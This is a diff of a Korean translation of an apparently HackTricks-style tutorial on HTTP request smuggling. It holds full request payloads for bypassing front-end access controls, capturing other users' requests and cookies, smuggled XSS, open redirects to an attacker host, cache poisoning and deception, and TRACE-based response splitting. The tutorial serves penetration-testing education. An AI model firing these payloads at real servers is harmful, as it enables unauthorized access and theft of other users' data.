가끔 프론트엔드 프록시는 수신되는 요청을 검토하여 보안 조치를 시행합니다. 그러나 HTTP 요청 스머글링을 악용함으로써 이러한 조치를 우회할 수 있어서 제한된 엔드포인트에 무단으로 액세스할 수 있습니다. 예를 들어, `/admin`에 액세스하는 것이 외부에서 금지되어 있을 수 있으며, 프론트엔드 프록시가 이러한 시도를 차단할 수 있습니다. 그러나 이 프록시는 스며든 HTTP 요청 내에 포함된 요청을 검사하지 않을 수 있어서 이러한 제한을 우회할 수 있는 구멍을 남겨둘 수 있습니다.
|
||||
|
||||
다음 예시를 통해 HTTP 요청 스머글링을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 설명하는 예시를 살펴보겠습니다, 특히 프론트엔드 프록시가 일반적으로 보호되는 `/admin` 경로를 대상으로 하는 경우:
|
||||
|
||||
**CL.TE 예시**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
|
@ -259,7 +275,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더를 활용하고, 이어지는 내장 요청에는 `Transfer-Encoding: chunked` 헤더를 사용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 내장된 `GET /admin` 요청을 검사하지 못하여 `/admin` 경로로의 무단 액세스를 허용합니다.
|
||||
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 활용되며, 이어지는 내장 요청에는 `Transfer-Encoding: chunked` 헤더가 사용됩니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 내장된 `GET /admin` 요청을 검사하지 못하여 `/admin` 경로로의 무단 액세스를 허용합니다.
|
||||
|
||||
**TE.CL 예시**
|
||||
```
|
||||
|
@ -277,11 +293,11 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
반면에 TE.CL 공격에서 초기 `POST` 요청은 `Transfer-Encoding: chunked`를 사용하며, 이후 포함된 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 숨겨진 `GET /admin` 요청을 간과하여 제한된 `/admin` 경로에 액세스 권한을 부여합니다.
|
||||
반면에, TE.CL 공격에서 초기 `POST` 요청은 `Transfer-Encoding: chunked`를 사용하며, 이후 포함된 임베디드 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 숨겨진 `GET /admin` 요청을 간과하여 제한된 `/admin` 경로에 액세스 권한을 부여합니다.
|
||||
|
||||
### 프론트엔드 요청 재작성 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### 프론트엔드 요청 수정 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 백엔드 서버로 전달하기 전에 들어오는 요청을 수정합니다. 전형적인 수정 사항은 `X-Forwarded-For: <클라이언트의 IP>`와 같은 헤더를 추가하여 클라이언트의 IP를 백엔드로 전달하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 장치 우회** 또는 **숨겨진 정보나 엔드포인트 발견** 방법을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
|
||||
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 백엔드 서버로 전달하기 전에 들어오는 요청을 수정합니다. 전형적인 수정 사항은 `X-Forwarded-For: <클라이언트의 IP>`와 같은 헤더를 추가하여 클라이언트의 IP를 백엔드로 전달하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 장치를 우회하는 방법**이나 **숨겨진 정보나 엔드포인트를 발견하는 방법**을 드러낼 수 있기 때문에 중요할 수 있습니다.
|
||||
|
||||
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 반향하는 POST 매개변수를 찾으세요. 그런 다음, 다음과 유사한 방식으로 이 매개변수를 마지막에 사용하여 요청을 작성하세요:
|
||||
```
|
||||
|
@ -300,19 +316,19 @@ Content-Length: 100
|
|||
|
||||
search=
|
||||
```
|
||||
이 구조에서는 `search=` 이후에 후속 요청 구성 요소가 추가되며, 이는 응답에 반영된 매개변수입니다. 이 반영은 후속 요청의 헤더를 노출시킵니다.
|
||||
이 구조에서는 `search=` 이후에 이어지는 요청 구성 요소가 추가되며, 이는 응답에 반영된 매개변수입니다. 이 반영은 이후 요청의 헤더를 노출시킵니다.
|
||||
|
||||
중첩된 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이와 일치시키는 것이 중요합니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋습니다. 값이 너무 낮으면 반영된 데이터가 잘릴 수 있고, 값이 너무 높으면 요청이 오류가 발생할 수 있습니다.
|
||||
중첩된 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이와 일치시키는 것이 중요합니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋으며, 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류가 발생할 수 있습니다.
|
||||
|
||||
이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 `search=\r\n0`로 종료되어야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
|
||||
이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 `search=\r\n0`로 종료되어야 합니다. 새 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
|
||||
|
||||
이 방법은 주로 프론트엔드 프록시에 의해 수행된 요청 수정을 이해하기 위한 것으로, 본질적으로 자체 조사를 수행합니다.
|
||||
|
||||
### 다른 사용자의 요청 캡처 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### 다른 사용자의 요청 캡처하기 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
POST 작업 중에 매개변수의 값으로 특정 요청을 추가함으로써 다음 사용자의 요청을 캡처하는 것이 가능합니다. 다음은 이를 수행하는 방법입니다:
|
||||
|
||||
다음 요청을 매개변수의 값으로 추가함으로써 후속 클라이언트의 요청을 저장할 수 있습니다:
|
||||
다음 요청을 매개변수의 값으로 추가함으로써 이후 클라이언트의 요청을 저장할 수 있습니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
|
@ -332,20 +348,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하는 데 사용됩니다. 결과적으로 후속 요청의 내용은 댓글로 표시됩니다.
|
||||
이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하는 데 사용됩니다. 따라서 후속 요청의 내용은 댓글로 표시됩니다.
|
||||
|
||||
그러나 이 기술에는 제한이 있습니다. 일반적으로, 이 기술은 주입된 요청에서 사용된 매개변수 구분자까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분자는 `&` 문자입니다. 이는 희생자 사용자의 요청에서 캡처된 내용이 첫 번째 `&`에서 중지됨을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.
|
||||
그러나 이 기술에는 제한이 있습니다. 일반적으로, 이는 새로운 요청에서 사용된 매개변수 구분 기호까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분 기호는 `&` 문자입니다. 이는 희생자 사용자의 요청에서 캡처된 내용이 첫 번째 `&`에서 중지됨을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.
|
||||
|
||||
추가로, TE.CL 취약점이 있는 경우에도 이 접근 방식이 유효합니다. 이러한 경우에는 요청이 `search=\r\n0`로 끝나야 합니다. 새 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
|
||||
게다가, TE.CL 취약점이 있는 경우에도 이 접근 방식이 유효하다는 점을 강조해야 합니다. 이러한 경우에는 요청이 `search=\r\n0`로 끝나야 합니다. 새 줄 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
|
||||
|
||||
### 반사 XSS를 악용하기 위해 HTTP 요청 스머글링 사용
|
||||
### 반사된 XSS 취약점을 악용하기 위해 HTTP 요청 스머글링 사용
|
||||
|
||||
HTTP 요청 스머글링을 사용하면 **반사 XSS**에 취약한 웹 페이지를 악용할 수 있으며 다음과 같은 중요한 이점을 제공합니다:
|
||||
HTTP 요청 스머글링을 사용하여 **반사된 XSS**에 취약한 웹 페이지를 악용할 수 있으며 다음과 같은 중요한 장점을 제공합니다:
|
||||
|
||||
* 대상 사용자와의 상호 작용이 **필요하지 않습니다**.
|
||||
* 일반적으로 액세스할 수 없는 요청 부분에서 XSS를 악용할 수 있습니다. 예를 들어 HTTP 요청 헤더.
|
||||
* 일반적으로 액세스할 수 없는 요청의 일부인 XSS를 악용할 수 있습니다. 예를 들어 HTTP 요청 헤더.
|
||||
|
||||
사용자 에이전트 헤더를 통해 반사 XSS에 취약한 웹 사이트의 시나리오에서 다음 payload는 이 취약점을 악용하는 방법을 보여줍니다:
|
||||
사용자 에이전트 헤더를 통해 반사된 XSS에 취약한 웹 사이트의 시나리오에서, 다음 payload는 이 취약점을 악용하는 방법을 보여줍니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
|
@ -370,15 +386,13 @@ A=
|
|||
|
||||
1. `Transfer-Encoding: chunked` 헤더가 포함된 `POST` 요청을 시작하여 스머글링의 시작을 나타냅니다.
|
||||
2. `0`을 포함하여 청크 메시지 본문의 끝을 표시합니다.
|
||||
3. 그런 다음, 주입된 `<script>alert(1)</script>` 스크립트로 `User-Agent` 헤더가 포함된 스머글링된 `GET` 요청이 도입되어 서버가 이후 요청을 처리할 때 XSS를 트리거합니다.
|
||||
3. 그런 다음, 스머글된 `GET` 요청이 도입되며, 이때 `User-Agent` 헤더에 `<script>alert(1)</script>` 스크립트가 삽입되어 서버가 이후 요청을 처리할 때 XSS를 트리거합니다.
|
||||
|
||||
`User-Agent`를 스머글링을 통해 조작함으로써, payload는 일반적인 요청 제약을 우회하여 Reflected XSS 취약점을 비표준적이지만 효과적인 방식으로 악용합니다.
|
||||
`User-Agent`를 스머글링을 통해 조작함으로써, 이 payload는 일반적인 요청 제약을 우회하여 Reflected XSS 취약점을 비표준이지만 효과적인 방식으로 악용합니다.
|
||||
|
||||
### HTTP 요청 스머글링을 사용하여 온사이트 리디렉션을 오픈 리디렉션으로 변환하기 <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
### HTTP 요청 스머글링을 통한 On-site Redirect 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
### HTTP 요청 스머글링을 사용하여 온사이트 리디렉션 악용하기 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
응용 프로그램은 종종 리디렉션을 위해 `Host` 헤더의 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 슬래시가 누락된 폴더를 요청하면 슬래시를 포함한 리디렉션이 발생합니다:
|
||||
애플리케이션은 종종 리다이렉트를 위해 `Host` 헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리다이렉트합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 슬래시가 없는 폴더를 요청하면 슬래시를 포함한 리다이렉트가 발생합니다:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
|
@ -388,7 +402,7 @@ Host: normal-website.com
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
비록 해롭지 않아 보이지만, HTTP 요청 스머글링을 사용하여 사용자를 외부 사이트로 리디렉션하는 데 조작할 수 있습니다. 예를 들어:
|
||||
비록 해롭지 않아 보이지만, HTTP 요청 스멜링을 사용하여 사용자를 외부 사이트로 리디렉션할 수 있습니다. 예를 들어:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -402,7 +416,7 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
다음 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리다이렉트될 수 있습니다:
|
||||
다음 처리된 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션될 수 있도록 이번에 밀반입된 요청이 유발될 수 있습니다:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
|
@ -414,17 +428,15 @@ Host: vulnerable-website.com
|
|||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
### HTTP 요청 스머글링을 사용하여 웹 캐시 독려 수행 <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
### HTTP 요청 스머글링을 통한 웹 캐시 오염 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
### HTTP 요청 스머글링을 통한 웹 캐시 독려 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
웹 캐시 오염은 **프런트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**하여 일반적으로 성능을 향상시키는 경우에 실행할 수 있습니다. 서버 응답을 조작함으로써 **캐시를 오염시킬 수 있습니다**.
|
||||
|
||||
웹 캐시 독려는 **프런트엔드 인프라의 어떤 구성 요소가 콘텐츠를 캐시**하여 일반적으로 성능을 향상시키는 경우에 실행할 수 있습니다. 서버 응답을 조작함으로써 **캐시를 독려**할 수 있습니다.
|
||||
이전에 서버 응답이 변경되어 404 오류를 반환하는 것을 관찰했었습니다(자세한 내용은 [기본 예제](./#basic-examples)를 참조). 마찬가지로, 서버를 속여 `/static/include.js`를 요청한 경우에 `/index.html` 콘텐츠를 반환하도록 유도할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 `/index.html`의 콘텐츠로 캐시에 대체되어 사용자가 `/static/include.js`에 액세스할 수 없게 되어 서비스 거부(DoS)로 이어질 수 있습니다.
|
||||
|
||||
이전에 서버 응답이 변경되어 404 오류를 반환하는 것을 관찰했습니다(자세한 내용은 [기본 예제](./#basic-examples)를 참조). 마찬가지로, 서버를 속여 `/static/include.js` 요청에 대해 `/index.html` 콘텐츠를 반환하도록 유도할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 `/index.html`의 콘텐츠로 캐시에 대체되어 사용자가 `/static/include.js`에 액세스할 수 없게 되어 서비스 거부(DoS)로 이어질 수 있습니다.
|
||||
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 온사이트 리다이렉트**가 있는 경우 특히 강력해집니다. 이러한 취약점은 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체하여, 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
|
||||
|
||||
이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 온사이트 리다이렉트**가 있는 경우 특히 강력해집니다. 이러한 취약점은 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체하여 모든 클라이언트에 대한 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
|
||||
|
||||
아래는 **캐시 독려과 온사이트 리다이렉트에서 오픈 리다이렉트를 결합한** 악용의 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 변경하여 제공하는 것입니다:
|
||||
아래는 **캐시 오염과 온사이트 리다이렉트에서 오픈 리다이렉트를 결합한** 악용의 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 제공하도록 변경하는 것입니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
|
@ -444,20 +456,12 @@ x=1
|
|||
```
|
||||
**HTTP 요청 스머글링을 사용하여 웹 캐시 속임수 수행**
|
||||
|
||||
/embedded 요청을 주목하세요. 이 요청은 `/post/next?postId=3`을 대상으로 합니다. 이 요청은 **Host 헤더 값**을 이용하여 도메인을 결정하고 `/post?postId=4`로 리디렉션됩니다. **Host 헤더**를 변경함으로써 공격자는 요청을 자신의 도메인으로 리디렉션할 수 있습니다 (**온사이트 리디렉트에서 오픈 리디렉트로**).
|
||||
|
||||
성공적인 **소켓 독려** 이후 `/static/include.js`에 대한 **GET 요청**을 시작해야 합니다. 이 요청은 이전 **온사이트 리디렉트에서 오픈 리디렉트로** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져올 것입니다.
|
||||
|
||||
이후, `/static/include.js`에 대한 모든 요청은 공격자의 스크립트의 캐시된 내용을 제공하여 광범위한 XSS 공격을 실행할 수 있습니다.
|
||||
|
||||
### 웹 캐시 속임수를 수행하기 위해 HTTP 요청 스머글링 사용 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **웹 캐시 독려와 웹 캐시 속임수의 차이점은 무엇인가요?**
|
||||
> **웹 캐시 독자와 웹 캐시 속임수의 차이점은 무엇인가?**
|
||||
>
|
||||
> * **웹 캐시 독려**에서, 공격자는 응용 프로그램에 악의적인 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠는 캐시에서 다른 응용 프로그램 사용자에게 제공됩니다.
|
||||
> * **웹 캐시 속임수**에서, 공격자는 응용 프로그램에 악의적인 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠가 캐시에서 다른 응용 프로그램 사용자에게 제공됩니다.
|
||||
> * **웹 캐시 속임수**에서, 공격자는 응용 프로그램에 다른 사용자에게 속한 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 그런 다음 공격자는 이 콘텐츠를 캐시에서 검색합니다.
|
||||
|
||||
공격자는 민감한 사용자별 콘텐츠를 가져오는 스멀그 요청을 작성합니다. 다음 예를 고려하세요:
|
||||
공격자는 민감한 사용자별 콘텐츠를 가져오는 스멀그 요청을 작성합니다. 다음 예를 고려하십시오:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
|
@ -468,16 +472,99 @@ x=1
|
|||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
만약 이 밀반입된 요청이 정적 콘텐츠를 위한 캐시 엔트리를 오염시킨다면 (예: `/someimage.png`), 피해자의 민감한 데이터인 `/private/messages`가 정적 콘텐츠의 캐시 엔트리 아래 캐싱될 수 있습니다. 결과적으로 공격자는 이러한 캐싱된 민감한 데이터를 검색할 수 있습니다.
|
||||
만약 이번에 밀반입된 요청이 정적 콘텐츠를 위한 캐시 엔트리(예: `/someimage.png`)를 오염시킨다면, 피해자의 민감한 데이터인 `/private/messages`가 정적 콘텐츠의 캐시 엔트리 아래 캐싱될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있을 수 있습니다.
|
||||
|
||||
### HTTP 응담 비동기화를 이용한 HTTP 요청 밀반입 무기화
|
||||
### HTTP 요청 스머글링을 통한 TRACE 남용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
HTTP 요청 밀반입 취약점을 발견했지만 이를 어떻게 악용해야 할지 모르겠다면 다른 악용 방법을 시도해보세요:
|
||||
[**이 게시물**](https://portswigger.net/research/trace-desync-attack)에서는 서버가 TRACE 메서드를 활성화한 경우 HTTP 요청 스머글링을 통해 이를 남용할 수 있다고 제안합니다. 이는 이 메서드가 서버로 전송된 모든 헤더를 응답 본문의 일부로 반영하기 때문입니다. 예를 들어:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
다음과 같은 응답을 보냅니다:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
Content-Length: 115
|
||||
|
||||
TRACE / HTTP/1.1
|
||||
Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
이 동작을 악용하는 예는 **먼저 HEAD 요청을 숨겨 보내는 것**입니다. 이 요청은 GET 요청의 **헤더**만을 포함한 응답을 받게 됩니다 (**`Content-Type`** 포함). 그리고 **바로 다음에 TRACE 요청을 숨겨 보냅니다**. 이 요청은 보낸 데이터를 **반사할 것**입니다.\
|
||||
HEAD 응답에는 `Content-Length` 헤더가 포함되어 있기 때문에, **TRACE 요청의 응답은 HEAD 응답의 본문으로 처리되어 임의의 데이터를 반사**하게 됩니다.\
|
||||
이 응답은 연결을 통해 다음 요청으로 전송되므로, 예를 들어 캐시된 JS 파일에서 임의의 JS 코드를 삽입하는 데 **사용**할 수 있습니다.
|
||||
|
||||
### HTTP 응답 분할을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**이 게시물**](https://portswigger.net/research/trace-desync-attack)을 계속 따라가면 TRACE 메소드를 악용하는 또 다른 방법을 제안합니다. 언급된대로 HEAD 요청과 TRACE 요청을 숨겨 보내면, HEAD 요청에 대한 응답에서 **일부 반사된 데이터를 제어**할 수 있습니다. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며 TRACE 요청에 대한 응답으로 형성됩니다.
|
||||
|
||||
따라서, 이 Content-Length와 TRACE 응답에 포함된 데이터를 알면, TRACE 응답에 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답이 포함되도록 만들 수 있어 공격자가 다음 응답을 완전히 제어할 수 있게 됩니다 (캐시 독점을 수행하는 데 사용될 수 있음).
|
||||
|
||||
예시:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Length: 360
|
||||
|
||||
HEAD /smuggled HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
POST /reflect HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
|
||||
Content-Type: text/html\r\n
|
||||
Cache-Control: max-age=1000000\r\n
|
||||
Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
다음은 이러한 응답을 생성합니다 (HEAD 응답에 Content-Length가 있어 TRACE 응답이 HEAD 본문의 일부가 되고 HEAD Content-Length가 끝나면 유효한 HTTP 응답이 실립니다):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 0
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Content-Length: 165
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/plain
|
||||
Content-Length: 243
|
||||
|
||||
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
|
||||
Content-Type: text/html
|
||||
Cache-Control: max-age=1000000
|
||||
Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### HTTP 응담 비동기화를 이용한 HTTP 요청 스머글링 무기화
|
||||
|
||||
HTTP 요청 스머글링 취약점을 발견했지만 이를 어떻게 악용해야 할지 모르겠다면 다음 악용 방법을 시도해보세요:
|
||||
|
||||
{% content-ref url="../http-response-smuggling-desync.md" %}
|
||||
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 다른 HTTP 요청 스머글링 기술
|
||||
|
||||
* 브라우저 HTTP 요청 스머글링 (클라이언트 측)
|
||||
|
||||
{% content-ref url="browser-http-request-smuggling.md" %}
|
||||
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* HTTP/2 다운그레이드에서의 요청 스머글링
|
||||
|
||||
{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
|
||||
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Turbo intruder 스크립트
|
||||
|
||||
### CL.TE
|
||||
|
@ -583,17 +670,18 @@ table.add(req)
|
|||
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
|
||||
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
|
||||
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary>
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **HackTricks에 귀사를 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,30 +2,126 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
